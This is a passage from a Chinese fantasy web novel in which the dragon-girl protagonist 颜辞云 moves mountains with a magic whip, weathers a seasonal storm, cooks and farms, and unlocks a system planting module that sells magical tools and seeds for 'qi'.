不过，颜辞云倒没有过多地去想这些，毕竟她又不打算嫌弃谁。 这不都是她手上的工具么？ 于是，向来想得很开的颜辞云，就这么提着这把不太好看也不太好用的赶山鞭上了。 她先是来到这条绵延山脉的最边缘处——一座不高不矮的孤峰前，抬头瞧了瞧。 这座孤峰约莫三百多米，其上有诸多植被覆盖，和石原上光秃秃的石头山丘可大不相同，让颜辞云才不过瞧了两眼就有些心痒了：这山上的植物，一定很多吧？ 如果自己的赶山鞭真的有“驱石赶山”之能，那么把这座山，甚至是这条山脉，全都迁移到裂谷南边的荒野上……可行么？ 试试！ 颜辞云站在这孤峰前，举起鞭子，向下一挥。 ——啪！ 在颜辞云的注视下，那鞭子分明抽了出去，却只在虚空中发出了一声空响，好似什么都没有碰到。 颜辞云心中惊讶，正想要提起鞭子，看看它是出了什么问题，可下一秒，颜辞云突然感到脚下穿来隐隐的震动，并且越来越大，越来越剧烈，直到化作山崩般的震响： 轰隆隆！ 如雷声在山间炸响！ 颜辞云震惊抬头，只见那座三百余米高的孤峰，此刻竟寸寸崩解，化作一颗颗携泥带树的巨石，向颜辞云的反方向骨碌碌滚去，就好像是被颜辞云方才的那一鞭子抽散架了。 可偏偏，数百米后，这些巨石又纷纷停下，自动对准位置，粘合在一块儿，纹丝合缝地在颜辞云数百米外又“长”出了一座原模原样的孤峰！ 甚至连山上那些脆弱的蔓藤、交错的根系、细碎的泥土，都没有丝毫改变！ 颜辞云看得目瞪口呆： 这、这是什么神奇力量？ 这是压根不讲道理了是吧？ 哪有裂解成块石头一黏就能恢复原样的？ 这又不是橡皮泥！ 哪有撕开的树根对准接口就能直接拼上的？ 这又不是玩积木！ 甚至连孤峰上的泥土都没有往外头落下一粒？ 这怎么可能？！ 可是，任凭颜辞云如何难以置信、在心中大叫不可能，这件事也依然发生了。 就和相繇口吐的毒水能直接漂浮在沙子上一样。 这就是这样一个神秘的、神奇的、不讲物理的世界。 颜辞云绕着这孤峰，转了两圈，笑了。 行吧，不讲物理就不讲物理吧。 反正这座山，她搬走了！ 颜辞云打开系统地图。 如今，颜辞云的系统地图，已经扫空了一大片黑暗，显露了以树屋所在山丘为核心的、北至大河南至山林、西达大漠东及海洋的一大片区域。 这些区域有些地方颜辞云待得久，看得多，于是地图细节也比较详细，而有些地方颜辞云只是远远瞥了一眼，于是地图细节就比较粗糙。 不过这也足够用了。 颜辞云先是在地图上找到荒野，圈出一块可以安置山脉的区域，接着颜辞云又以荒野和山脉为两点，规划出了一条既绕开了岩浆池与相繇沼泽，又能迅速抵达荒野的最佳路径。 “走咯~” 就这样，颜辞云挑中了包括孤峰在内的共十座高低不一、作物不一的山，开始了自己长达半个月的赶山之路。 在赶山开始时，颜辞云的赶山鞭还用不太熟练，不但让这十座山跑得很慢，就连山上的小动物们也都在颜辞云交替赶山时跑掉不少。 颜辞云又要同时抽十个陀螺，又要评估那些跑掉的小家伙们，有用的留下，没用的放走，来来回回，焦头烂额。 不过还好，很快的，颜辞云就大致掌握了赶山鞭的使用方法，不再像最开始那样，傻傻地在山边上挨个抽，而是把赶山鞭抖长，让它暴涨到不可思议的长度，令它把想要搬走的山牢牢捆住后，直接——飞！ 倏尔，颜辞云化身龙形，飞上天空，爪子里握着赶山鞭，鞭子上拖着一座山。 于是，随着颜辞云的飞天，那山峰也拔地而起！ 颜辞云向北一路飞行，飞得很稳。 哪怕她手上拖着一座山，但也只是飞得有点儿慢罢了，身形不摇也不晃，横跨万里，把它们顺利带到了荒野上方。 之后，颜辞云再抖上一鞭子，那赶山鞭自动松开，山峰径直向荒野落下。 轰！ 大地一震，一座山就这样放好了。 轰轰轰！ 十座山都这样放好了！ 它们绵延起伏，如同自然生成的山脉一样，上头有绿草与树木，林间有昆虫与动物。 完美！ 至此，颜辞云的荒野绿化工作完成，以后再也不用在树屋里隔着玻璃看着这片空地干瞪眼了。 还有，值得一提的是，在颜辞云搬山的过程中，颜辞云又遇上换季了。 当熟悉的红蓝二色在天边出现，将整个天地都染成这两种颜色后，颜辞云吓了一跳，想到了自己的小树屋，连忙丢下手里的山，火急火燎地赶回树屋，第一时间撑起了龙种力场。 颜辞云的龙种力场，直径十公里，是一个完整的圆形力场。 这距离听起来似乎挺大的，但事实上，在这广阔土地上也就只占据了小小一块罢了，连树屋所在的小山丘都无法完全覆盖，与南边的裂谷、西边的草原、北边的湖泊群，都是隔着相当远的距离。 颜辞云也就是单纯飞行速度够快，才能把这些地方当作后花园来遛弯，但真的上手操作时，是不可能只靠她一人之力就庇护这些地方的。 当红蓝二色、或者说水火二炁的冲突爆发时，颜辞云撑着力场，拒绝了所有外来的水炁与火炁，坐在树屋里，一边捋着小白，一边看着不远处水火二炁在她的龙种力场外砸得轰隆山响，火花与冰花四溅的情景，心里十分发愁。 颜辞云也是没想到，这换季竟然来得这样快。 就好像前两天，她才刚在海底心惊胆战地看过海水蒸发后化作灰雪洒落，两天后，她又要经历这一切。 实在是太快了！ 快得她甚至都没想好要怎么保下西边的草原和扶桑树，北边刚种好莲藕的湖泊，以及南边搬到一半的山。 会不会又有大火从天而降，将她好不容易找到的山和树烧成灰烬？ 会不会又有寒冰将沼泽和大河冻结，把她刚找到的觅食场毁于一旦？ 颜辞云实在是愁得不行，连吃饭都不香了，甚至连毒蘑菇都吃出了鸡肉味……嗯？等等？ 好像真的是鸡肉味？ 颜辞云低头一看，这才发现自己这次拿的零嘴是晾好的角鹰肉干。 这角鹰肉怎么一股子鸡肉味？ 日后有条件的话……要不要圈养一下角鹰试试？ 当然，前提是角鹰群能在这样的天崩地裂下活下来。 之后，换季的三天飞快过去。 当最后一道火炁像陨星一样轰地砸在她的龙种力场边缘、留下一道狰狞火痕后，动荡不安的天地终于再次平静下来。 而后，大雨落下。 颜辞云抬头看着满世界的大雨，愣了愣，突然发现这似乎是她第一次瞧见自然的雨。 之前的雨，都是她用邪龙噬雷枪引来的。 所以这场雨，其实才是她来到这个异世界后经历的第一场雨……虽然冬季的确雨少，可是一整个冬季都不下雨是正常的吗？ ……哎呀先别管这些了！ 她的扶桑树！她的草原斗兔场！她的湖藕和她的山！！ 颜辞云火急火燎地窜了出去，化身龙形，瞬息万里，走马观花地把附近地形都检查了一遍后，懵了： 欸？不是？ 你们怎么……一点事儿都没有？ 裂谷是好好的裂谷，湖泊是好好的湖泊，草原也是好好的草原。 除了冰原化了变回大海，雪融化了露出土地，湖里原本长得慢吞吞的湖藕也开始抽芽外，这个世界什么事都没有，甚至扶桑树还比之前长得更高了！ 没有大火，没有寒冰。 ——当然，地上又出现了一些陨坑和一些卷土重来的鬣狗与兔子。 但这些都是老调重弹的问题。 除了这一点点的小问题之外，这个世界，真的一点儿事都没有！ 一切欣欣向荣，直把颜辞云看得目瞪口呆：所以，就只针对我是吧？ 小白之所以在换季时那么淡定，敢情是因为这个世界的换季期间本来就没什么事？ 而只有她这个外来者在的地方，才会被水火二炁重点照顾、重点轰炸是吧？ 那座原始森林会被烧掉，是因为那时候她就站在森林边上；隔壁的大海会被蒸发后又冻成冰原，也是因为当时的她就躲在海底？ 什么仇什么怨啊？欺负外地人是吧！ 颜辞云表示自己有被气到，之后搬山时也暴力了很多，轰轰轰哐哐哐的，把山当锅碗瓢盆一样狂砸。 而砸完山出完气后，心平气和的颜辞云给自己拉了一张春季行动表。 首先，春天到了，是种植的季节。 用锄头把附近的地开垦一下，再把自己从南边山林和北边沼泽里收集到的几把种子种下去，在完成种植业的同时也把辨识百草的任务条刷一刷； 接下来，去沼泽地抓几只角鹰、拿几个蛋，试着能不能找个地方把它们圈养一下。如果能成功养殖，日后就能把它们当鸡吃了； 最后，是草原上的牛牛。牛肉味道不错，但就是数量太少了，看来得人工干预一下，在草原上圈个牧场好好养一养。 毕竟，农业，文明发展的基础啊！ 颜辞云看着计划表，点头觉得不错。 不过——现在正下雨呢，还是等雨停后再行动比较好。 而至于下雨的这段时间，就让她好好琢磨一下自己的木雕水平吧！ 换季的第一天，暴雨倾盆。 颜辞云搬完山后，坐在活动室里，看着落地窗外烟雨朦胧的景象，手边小桌上是一杯她之前从山上摘的薄荷叶泡水，不远处就是被当作火炉使用的暖暖熔炉。 她手里拿着一块木头，细细雕琢，屋内是小猫咪上蹿下跳地跑酷。 一切都如颜辞云设计这个活动室时那样温暖、惬意。 第二天，依然是暴雨倾盆。 但颜辞云很坐得住，毕竟她木雕手艺是真的很糟糕。 但—— 第三天、第四天、第五天……直到第十天，天空的暴雨都没有停下过，就好像天空破了个口子！ 颜辞云抬头，看着天上丝毫没有停歇意思的暴雨，在无奈和忧虑中终于明白了： 原来，自己迎来的根本就不是什么“春季”，而是“雨季”。 ——一个只有雨存在的季节。 第49章 换季 换季竟然又来了！…… 在暴雨持续的第十一天，颜辞云决定不再待在树屋里干等，而是出门转一转，看看这个世界如今是什么情况。 东侧的冰原重新变回了大海，这个自然不必说，北边的湖泊应该也能抗住，不至于被淹了，所以只有南边的裂谷与西边的草原让颜辞云十分忧心。 她先是来到南边的裂谷。 此刻，冬雪已化，但也并没有联合倾盆暴雨一块儿将地势极低的裂谷淹没。 颜辞云在裂谷里转了两圈，这才发现裂谷中竟有两条地缝。 这两条地缝低矮、狭长、细窄，不注意看几乎都发现不了它的存在，可偏偏它的下水速度极快，简直像是链接着无尽深渊，无论多少水都是鲸吞蛇噬，令暴雨浇透裂谷土地的同时，又不会存留太多的水。 这样的地理优势，也是这座裂谷能长满花花草草的原因。 “倒是我想多了……” 人家裂谷的这些花花草草，可不是随随便便就能长这么多的！ 颜辞云失笑，顺手扯了两把香草，准备中午回家煎肉排。 该说不说，颜辞云这些天在树屋里可不是白蹲的。 之前颜辞云就曾经抢劫了一群鼠鼠，从它们手里搞到了无数材料，这回她干脆趁着空闲时间，拿这些材料捣鼓出了一整套厨房用具！ 最开始是刀。 在做出第一把粗制滥造的菜刀后，颜辞云就彻底解锁了系统的[厨房用具]这一模块。 她打开这模块一看，先是一愣，紧接着就冲到材料储物箱前，打开箱子后就开始疯狂地制造制造制造。 光是刀，颜辞云就制作了许多把。 比如说菜刀两把，一把切生食，一把切熟食； 水果刀两把，一把短的削皮，一把长的切瓜； 砍骨刀倒是只有一把，但刮皮器和剪刀的种类倒是挺多。 除此之外，锅也不少。 炒锅、煮锅、炖锅、油锅、煎锅、蒸锅，能做的全做一个！ 还有碗，饭碗、汤碗、面碗、冰激淋碗。 以及锅铲汤勺漏勺，筷子勺子叉子，等等。 颜辞云在厨房来了一个无脑进货，主打的就是一个全收集、一个都不能少！ 之后，颜辞云又在这个模块里看到了灯。 穿越后的这段时间以来，颜辞云出了最开始的那一两天外，就再没管过照明的事，这么些天来完全是仗着自己的夜视能力硬抗黑夜。 可当系统能直接制造灯具后，颜辞云却又是必然要造灯的！ 系统里制作灯具需要萤石。 萤石有一个别名，叫夜明珠，刚好，颜辞云上次就从鼠鼠那里进过货，于是颜辞云飞快用【1萤石+4白玉】做出白玉永明灯，将树屋的内外挂满，令那月色般的光芒洒满山丘。 不过，灯还好说，但当厨房用具制作完成后，颜辞云却发现了一个被她忽略的重要的问题：这些系统出品的厨具，就跟系统出品的楼梯、栅栏等家具一样，和她的体型根本就不匹配！ 说到底，还是那些一直随着颜辞云体型暴涨而变大的工具装备，给了她错觉，让她以为自己还是最初那个“有点儿高，但还在正常人类范围内”的小蛇一条。 事实上，在颜辞云龙形突破了lv20后，颜辞云的蛇形体型又迎来暴涨，光是行走时的高度已经快有十米了——这还是颜辞云没有把自己尾巴长度也算进高度里。 也亏得颜辞云有先见之明，一开始就是按照超大尺寸给自己建的树屋，否则这会儿的她怕是又要重建基地了。 这样远超常人的体型，固然给颜辞云的冒险和狩猎带来了相当程度的力量优势，可却也给颜辞云带来了相当程度的不便。 比如说系统出品的那些以正常人体型为标准制作的家具，她一个都用不上；又比如说系统开放的厨具模块…… 小怪兽颜辞云看着自己手里的“小玩具”，苦中作乐。 “行吧，至少扮家家酒是用得上的。” 颜辞云用木板在厨房搭了个橱柜，把这些精致漂亮的“小玩具”细心放好，全当是自己的收藏品了。 但煎锅炒锅之类还是需要的。 霸王鼎虽好，但做出来的大多是汤汤水水，不是炖就是煮。 水火炼葫虽妙，但做出来的东西不确定性太大，带负面效果就算了，关键是出炉的不一定是吃的！ 想要真正搞好“吃”这一块、多样化的厨具必不可少。 所以，颜辞云花了两天时间，终于给自己手捏出了一个平底煎锅—— 四块边长1m的铁板，被拼成一个方方正正的锅底，而在这个锅底的中间位置，是被暴力压下去的、一个勉强算是圆形的弧度，隐约能看到手印和指印； 在这个铁板的两侧，则是被生生被折成两截又拧弯的铁棍，左右各一截，当作锅耳。 从外观上来看，这个“平底煎锅”粗糙得简直没眼看，并且这平底煎锅那四个尖锐的角怎么看怎么危险。 但小怪兽颜辞云不在乎这个，甚至她觉得自己手艺不错，并且以此确定了自己聪明伶俐的事实。 后来的事，也证明了这个煎锅确实好用，用它煎出来的肉，比直接上火烤的肉的味道要层次丰富许多。 因为有了煎锅后，颜辞云可以往煎锅里头搁香草和大料了。 而香草大料哪里来？ ——裂谷里的这些花花草草不就是吗？！ 罗勒、鼠尾草、薄荷、迷迭香、茴香…… 春天啊春天，收获的季节！ 颜辞云哼着乱七八糟的调子，摘下了香草，塞进物品栏，又摘下几朵春花，别在鬓间。 接下来，她要去检查草原的状况。 比颜辞云预想中的要好。 在连续十天的大暴雨下，草原虽然变得一片泥泞，有几处地势低的地方甚至生出了湖泊和河流，但水土流失并不算严重，至少不像兔灾时期那样被直接啃成了地中海。 并且，让颜辞云感到惊喜的是，随着这次的换季，那些从天而降的陨坑又给大地又带来了一种新的物种——羊。 颜辞云很难说清那究竟是什么羊。 它们看起来像是普通的羊，头上长着两只长长的角，尾巴却是马尾的形状，说不清到底是什么东西。 颜辞云凑近了些瞧，发现它们闻起来的确是羊的味道，有一股子要命的膻味。 ——行吧，这就是羊了！ 颜辞云杀了一头羊，放了血后，本打算让羊肉上煎锅，自己动手做点羊肉试试，可颜辞云一闻那膻味…… 颜辞云：我觉得我可能不太行。 很有自知之明的颜辞云选择从心，把发挥空间交给霸王鼎，自己退居二线，最多想想要往羊肉锅里丢什么食材、什么香料。 香料的话，茴香就好，祝馀草则可以吃也可以装饰。 而至于辅助炖汤的食材……萝卜吧！ 前些天搬山的时候，颜辞云刚好搞到一些萝卜。 颜辞云日常是不太爱吃萝卜的，总感觉萝卜太寡淡了。 但恰好这羊肉的味儿重，那么把味重的羊肉和味淡的萝卜组合炖汤，或许还挺合适？ ——确实合适。 【红梅出明月：羊肉如红梅，萝卜如明月，其色明明，味也盈盈。】 颜辞云吃了一口，的确很香。 羊肉炖得软烂，完全去除了膻味后只剩鲜美，而原本寡淡的白萝卜，也吸饱了羊肉汤汁，一口咬下去，鲜甜可口的羊肉萝卜汤便四溢出来，清爽极了，没有半点油腻之感。 是道好菜！ 恰好，这些小羊的攻击性并不强，破坏性也不大，颜辞云便没有毁掉那些陨坑“刷怪点”，直接把这些小羊当作世界物种的补充了。 不过，与此同时，颜辞云也忍不住开始思考，想着这大地上的动物们是不是都是由这些“炁”而化成的。 难道说，每一次的换季后，那些从云端跌落的炁，都会生成一种或数种生物，之后，随着时间推移，陨坑与炁消失了，但那些由炁带来的这些生命，却也已经成功在大地上扎根、自成循环？ 颜辞云这样猜测着，并决定趁着这个雨季，去更远的地方探寻一下新地点，寻找炁与生物们的联系。 不过，再次出乎颜辞云意料的是，这场雨季并不像冬季一样漫长，而是只维持了短短十五天。 十五天后，换季竟然又来了！ 当熟悉的水火二炁爆发时，颜辞云干脆来到了荒芜死寂的石原，抱手站在石原上，准备看那水火二炁到底是不是针对她这个外地人。 她撑着龙种力场，带着自己的物资和小猫，在力场内大吃大喝了三天三夜。 等到水火二炁终于鸣金收兵后，颜辞云第一时间收起力场，走了出来。 她先是往树屋的方向看：很好，那巨木依然伫立原地，什么事儿都没有。 接着，颜辞云又看向扶桑木的方向、草原的方向、裂谷的方向，甚至是相繇的方向。 ——全！都！没！事！ 很好，确定了。 这就是个对外地人一点都不友好的世界。 换季时竟然会被水火二炁刻意针对——虽然它们没有直接拿拳头砸颜辞云，但把溅射伤害全抛她这边来算什么？！ 算排外的地方保护主义者！ 颜辞云气哼哼地回家了，从储物箱里摸出种子，摸出锄头，准备正式开启自己的种田人生。 而之后，整整六个月的时间，太阳都一直在天空高悬。 昼长夜短，没有半滴雨从天上降落，甚至很多时候颜辞云都觉得，地表的温度很可能在五十度以上！ ——原来，紧跟着雨季脚步到来的，是一场漫长酷热、人类绝无法挨过的夏季。 第50章 任务完成 买买买！ 在夏季刚开始时，刚告别了寒冷冬季和潮湿雨季的颜辞云还是挺兴奋的。 她头上顶着小白猫，离开了树屋，按照自己的“春季清单”，先把锄头从储物箱的深处拿出来，一口气开了十亩地。 十亩地听起来很多，但对于颜辞云这样的小怪兽来说，也就是两步的事儿。 主要是颜辞云为了搞清楚自己手上到底都有哪些种子、有什么特性、适合什么季节，否则以她的精力旺盛，她怎么也得连夜锄个一百亩地。 把地开出来后，因这田主要是用来看种子种类与成色，颜辞云便也就没多么精心照料，随手抓了几把种子随便往地里一抛，就算是种好了。 之后，颜辞云再次使用了她不讲理的催长能力，让这些种子疯长，途中还记得适时抛些草木灰进去，免得这片土地的肥力被它们一口气吸干。 于是，短短十分钟后，颜辞云便得到了十亩分明生长季节各异，却都在这个夏季之初茁壮长成的作物。 沉甸甸的果实琳琅满目。 由于这些种子都是由颜辞云亲手催长而成，所以它们的生长阶段图便直接进入了系统图鉴，让颜辞云再也不用担心分不出种子的类型了。 更妙的是，就连颜辞云[辨识百草]的任务都暴涨了一大截，直接从71%来到100%。 任务完成了！ 【任务[辨识百草]已完成，种植区块加载完毕。】 颜辞云大喜：费尽千辛万苦——好吧也没有什么千辛万苦——总之，终于搞定了！ 这开启的种植区块，就是这个任务的奖励吗？ 颜辞云打开人物面板，想要像打开厨具模块那样打开种植模块。 可出乎意料的是，种植模块竟然不在这儿。 那在哪儿？ 颜辞云在自己的人物面板上倒腾来倒腾去，几乎每个图标都点开看了，但愣是没找着。 颜辞云：好消息，任务完成了，奖励也发下来了；坏消息，奖励找不到！ 最后的最后，颜辞云还是在自己的[技能页面-生活模块-恒顺地理]这一部分，找到的[种植]。 颜辞云瞪着这隐藏极深的模块，一时间无言以对。 就离谱！ 当初，颜辞云穿越后，手里只有两个初始技能点。她用一个技能点来解锁战斗模块，用一个技能点来解锁【吞噬】技能。 而这生活模块，她无能为力，便也就一直放着了。 如今，系统冷不丁发了一个奖励，却是藏在这么个以前从没解锁过的地方——这谁能想得到啊？！ 颜辞云仔细打量这悄无声息解锁的生活模块，发现它和战斗模块很像，都是技能树的形状，但却只有两个底层技能： 【恒顺地理】与【承天布宣】。 其中，可能是因为【生活模块】是非自然解锁状态，所以颜辞云完全看不到【承天布宣】那一部分都有些什么。 但颜辞云却能看到，【恒顺地理】部分，分为了【种植】、【畜牧】、【航海】、【建造】这四个部分。 颜辞云点开【恒顺地理】中唯一点亮了的种植区块，一路扫下去，各色工具充斥视线，直看得颜辞云眼花缭乱。 什么锄头水壶，都是寻常；一口气耕十亩地的耕地机，也不稀奇；各种肥料和各种类型的培植箱，应有尽有；甚至是颜辞云一直想要却做不出来的蜂箱，以及颜辞云再也没有得到过的【奇特的木墩】，甚至是扶桑木的种子，在这一区块里都能用炁来兑换。 是的，炁。 不同于普通的需要投入物资才能制作的物品，这个种植区的物品，竟都是用炁来兑换的。 就好像在这个区块里，【炁】就是唯一的货币单位，没有炁便是寸步难行。 比如说锄头水壶以及万能肥料，需要1单位的炁；树种和作物种子，3单位炁。 耕地机和培植箱贵一点，前者4单位的炁，后者10单位的炁；蜂箱和奇特的木墩，需要15单位的炁。 而至于扶桑木种子，无疑是这个区块里最昂贵的，需要整整150单位的炁！ 颜辞云在看得咋舌的同时，又忍不住心生好奇，想着，1单位的炁是怎么计算、怎么兑换的？ 她目前拥有足够的“货币”吗？ 颜辞云抬眼一看，终于在某个角落里找到了自己当前拥有的炁的数量：60。 颜辞云挠了挠头，有些疑惑： 60这个数值是怎么计算出来的？ 如果她用炁在种植区里兑换东西，会被消耗掉的【炁】又是什么？ 会是她物品栏里的装备吗？还是她的矿石和材料？或者是……她的锅和她的小葫芦？！ 这个问题可太重要了，直接关系到颜辞云日后的生活水准。 如果【炁】抽掉的是工具物资还好，颜辞云可能有点心痛，但因为还能再制作和得到，她就不会太舍不得。 但水火炼葫和霸王鼎这两样东西可是不可复制的，颜辞云万万不可能把它们兑出去。 哦，对了，还有羊脂玉净瓶。 前些天，这只由羊脂白玉天然成型的玉净瓶，已经凝聚出了第一口甘露，被颜辞云一口喝掉了。虽然没病没灾的她没法用甘露来验证它是否能真的治愈疾病，可颜辞云却能直观感受到，自己的力气又强大了很多。 光是冲着这一点，颜辞云就不可能舍得把羊脂玉净瓶“兑换”出去！ 还有美人绶囊。 这个能够增加物品栏格子的道具，在能批量制造前，颜辞云是绝对舍不得将它兑换的。 甚至就连邪龙噬雷枪，这枪虽然是系统制作台制作的，复制一把并不算难，但那把枪里头储存的能量却绝不容小觑，都是颜辞云一点点收集起来的，经历了三次换季，如果兑换出去后，想要再来一把这样等级的枪，那起码得再来三次换季！ ……糟了，这样一分析，颜辞云根本就是一个都舍不得失去啊！ 颜辞云掰着指头，有些发愁：这也舍不得那也舍不得，偏偏自己又不知道【炁】的计算方式，不知道怎样才能避免把它们当消耗品浪费掉……这可怎么办才好？ 颜辞云想了一会，干脆来了个釜底抽薪，把物品栏里的所有东西全拿了出来，放在树屋里，自己则两手空空地来到距离树屋足够遥远又足够安全——至少是颜辞云心中绝对安全的地方——海底龙尸的身旁。 都已经离得这样远了，如果那些珍贵道具还会被消耗掉，那颜辞云就认栽。 那么，开始兑换！ 颜辞云先是决定兑换一个锄头和浇水壶出来。 倒不是她的制作台做不了这些道具，而是颜辞云想试一试被消耗掉的【炁】是什么，顺便看一看这个区块兑换出来的东西，和她用系统制作台制作出来的道具有什么不同。 于是，在颜辞云的郑重观察下，一个单位的炁花了出去。 也不知道这1单位的炁到底消耗了什么，反正颜辞云是什么都没有感觉到。 可与此同时，颜辞云的面前却出现了一缕轻雾。 它是突然出现的。 也不知它是从何而来，分明前一秒，颜辞云面前还是一片空荡荡，可下一秒，它倏尔飘出，如云如雾，在落地的瞬间化作了一把锄头。 颜辞云看得莫名有些瞠目，心脏砰砰直跳，总感觉这一幕就好像是—— 凭空造物！ 是的，在颜辞云想象中的“一炁化万物”，不正是这个样子的吗？！ 颜辞云将这把模样平平无奇的锄头拾起来，爱不释手，看了又看。 【锄头：可用来开垦良田。】 颜辞云敏锐注意到，这一把锄头的注释与制作台锄头的注释并不相同，因为后者的注释是“可用来开垦田地”。 “良田”与“田地”，这一次之差，会有什么影响吗？ 颜辞云生出某种预兆，心中有些激动起来，立即飞出海底，在海边的沙滩停下，举起锄头，开垦起来。 但只是一下——颜辞云只是单纯地、用力将锄头锄进沙地里而已，下一秒，一个25mX25m的耕地就这样出现了。 这块蓦然出现的耕地，土壤湿润，是一眼可以望见的肥沃，也是根本不可能在沙地上开垦出来的良田！ 可它……偏偏就这样被开垦出来了？！ 片刻的目瞪口呆后，颜辞云再次举起锄头，继续开地。 一亩，两亩，三亩……九亩！ 足足在沙地上开垦出了九亩良田，颜辞云手里的锄头才啪一声碎裂。 颜辞云尝到甜头，连忙又兑了一个浇水壶出来。 颜辞云相信，有了锄头的珠玉在前，这个用炁制作出来的浇水壶，也一定不会让她失望的！ 【浇水壶：可装100吨水，永不损坏。】 颜辞云摸了摸手里的浇水壶。 这浇水壶虽然叫做浇水壶，但事实上它非常小巧，造型精致，可以被颜辞云轻易托在手掌上，比起浇水壶更像是某种玉盏。 而就是这么小一点儿的东西……能装100吨水？ 还有永不损坏这个特性？ 颜辞云下意识用水壶往自己身边最近的水源——大海——一捞，可装上水后，她才反应过来海水是不能浇地的，于是又连忙倒掉。 水哗啦啦从浇水壶落下，有几滴水珠飞溅到颜辞云的指尖。 颜辞云看了两眼，突然察觉到微妙，便将手指凑到唇边，轻舔水珠。 颜辞云眼睛一下子睁大了—— 淡水！ 竟然是淡水？！ 颜辞云不可思议地看着自己手里的小水壶。 认真的吗？ 装进去水壶里的是海水，倒出水壶的是淡水——这哪里是什么浇水壶啊，这不就是颜辞云曾经心心念念的“海水淡化器”吗？！ 好好好，名字一个比一个普通的工具，功能却一个比一个神奇。 你还有什么惊喜是朕不知道的？ 颜辞云打开种植区块，看着里头平平无奇的工具们，目光一下子火热起来。 买！ 不说那些虚的——反正这里头的东西，她全都要买！ 50-60 第51章 新东西 怎么每一顿都是腹泻…… 树种和作物种子，3单位的炁，只能兑出来一粒。 颜辞云左手拿着树种，右手拿着作物种子，左边看一眼，右边看一眼，除了觉得这两粒种子长得十分饱满，并且比普通种子要大一些之外，似乎并没什么稀奇。 ——凭什么这两区区粒种子，竟比能在沙地上开垦良田的锄头，和能淡化海水的水壶比？ 刚好，脚边就是开垦好的良田，颜辞云决定把它们种下去试试。 首先是树种。 树种与其说是一粒种子，不如说像一粒瓜，托在颜辞云手上，沉甸甸的，比以往的任何一颗树种都要来得沉重结实。 颜辞云把这一颗树种栽在一亩良田里。 上一秒颜辞云刚埋好土，下一秒这树种便抽出了芽！ 这生长速度已经不能再用“肉眼可见”来形容了，这根本就是八匹马都拉不回来的一路狂奔！ 充沛的生命力在这一刻爆发。 几乎每时每刻，颜辞云都能感到这棵树在生长。 第一分钟时，颜辞云看到这树种抽出了芽，长成了小树苗； 第三分钟时，树苗已经长成了十余米高的树，放在这个树木普遍一百余米高的世界，它已经算是步入了少年阶段； 第三十五分钟时，这棵树终于突破了一百米，正式成为了成年树木。 ——直到这一刻，颜辞云还在思考这颗树种为什么需要3单位的炁。 单纯是长成快吗？ 颜辞云在直接砍伐和继续观察之间犹豫。 但令颜辞云没有想到的是，在第四十分钟，也就是树种长成为高木的短短五分钟后，这颗树就直接枯萎了。 就好像这个树种存在的意义，就是将一棵树的一整个生命过程，在短短四十分钟内演示给颜辞云看！ 颜辞云看倒是看了，就是看得稀里糊涂： 所以说你凭什么比锄头和浇水壶卖得贵？ 明明看起来也不是像扶桑木那样的神奇树木，就只是单纯的树而已……如果说它是因为长成速度快而卖这么贵的话，可它枯萎的速度也快呀！ 更何况，她自己也有催长植物的能力，哪里需要稀罕这只有个“生长速度快”的特性的树种？ 难道她这次真的做了个亏本买卖？ 颜辞云决定再来一次。 她直接上手锤树，只听“喀嚓”一下，那老迈的枯树就直接被小怪兽颜辞云锤得粉碎，除了一颗树种之外，什么都没有掉落。 颜辞云把树种重新种回地里，又等了三十五分钟，等它重新长成大树后，再次捏着拳头，哐哐两下把树给砸断了。 好消息：这棵树出品的树种，依然有极速生长的特性！ 坏消息：它和它的母树一样，除了极速生长之外再没有其它特性。 不过，值得一提的是，当这棵树倒下时，是树干连同树叶一块儿倒下的。它整个树干连同宽大的枝叶一块儿，静静躺在沙地上，既没有变成原木块，也没有出现枝叶在空中悬空数秒后才一点点掉落的奇景。 它看起来就和普通世界里的普通的树一样！ 甚至它还有树桩！ 颜辞云看得稀奇，想了想，回了树屋一趟，稍稍清点一下物资，发现在她用掉8单位的炁后，树屋里也基本没有什么东西消失不见时，定了定心。 之后，颜辞云拿走了树屋里的工具，重回海边。 这时，那颗被颜辞云两拳头砸倒的树依然倒在地上，既没有变成原木块，也没有因颜辞云的不拾取而被“刷新”掉。 颜辞云先是用系统出品的斧头砍伐，发现被斧头砍下的树干还是不会变成原木块，但如果用镰刀进行“采集”的话，却是能便捷地把倒下的树干、砍下的木块，和地上的树桩这三样东西，分别变成10个原木块和2个树种。 颜辞云看了看手上的钻石斧，又看了看镰刀，总感觉这样的区别像是……像是她的金手指系统缝了太多游戏规则，但又没做好兼容？ 想到这里，颜辞云有些忍俊不禁，但没太把这件事放在心上——反正她早就察觉到这帕鲁系统缝的游戏很多了。 她拿着手上的两颗树种，在不肯轻易放弃的实验精神下，又反复种了数次，甚至还把试验田分成了两块，一块试验田上的树种让它们自由生长，另一块的则用木龙的能力进行催长，一直从天亮种到了天黑！ 但是，直到颜辞云手上的树种从1到2到4，物品栏里的原木块从10到20到400，最后树种数量一路翻滚着突破了100，原木块更是来到1000后，种地种得头晕眼花的颜辞云，终于在恍惚间明白了： 这玩意儿的真正用处，只有一个。 那就是刷物资！ 是普通人得到后，都能在一天之内刷出无数树木物资的神器！ 它就像是能填饱肚子的土豆，好不好吃另说，反正产量高就完事儿了。 而且比土豆更优秀的是，它不会因为连续和大量的种植而把土地种废了。 它是开荒前期的神器，开荒中后期时的鸡肋，总的来说，它不是不好，而是颜辞云已经度过开荒前期了。 “……行吧，好歹也刷了这么多的原木块和种子，也不算是白干一天。” “收工，回家！” 颜辞云跑海边沙地上种了整整一天的树，直种得她头晕眼花，脑袋发胀，于是这会儿，她手上的作物种子也不准备继续种了，打算先回去休息一晚，明天一早再考虑种地的事。 她回到树屋，先是用镰刀把树屋下没来得及收获的作物收割了一波，得到了许多水果，许多花朵，许多香料，许多蔬菜，数量很少，但种类繁多，一下子把颜辞云的物品栏给塞满了。 这很正常，如果这几亩农田里作物的种类不多的话，也不会一下子把颜辞云[辨识百草]的任务条给推满了。 但是，当各种乱七八糟的作物都被收获后，颜辞云却又发现了一个新的问题： 这十亩农田里，还有许多种子没有发芽！ 当春夏秋冬四季的作物，都在颜辞云的力量下被催长后，竟依然有种子躺在地上，不买颜辞云的账。 颜辞云只是想了想，就得到了答案。 “所以，是水生作物？那好吧，下次丢沼泽地里试试。” 颜辞云又挥了挥镰刀，轻轻松松地把十亩农田里的种子又收回了物品栏。 接着，颜辞云登上树屋，拿出霸王鼎、平底锅和水火炼葫，一心三用，开始做晚饭。 其中，霸王鼎和平底锅，是颜辞云用来满足口腹之欲的。 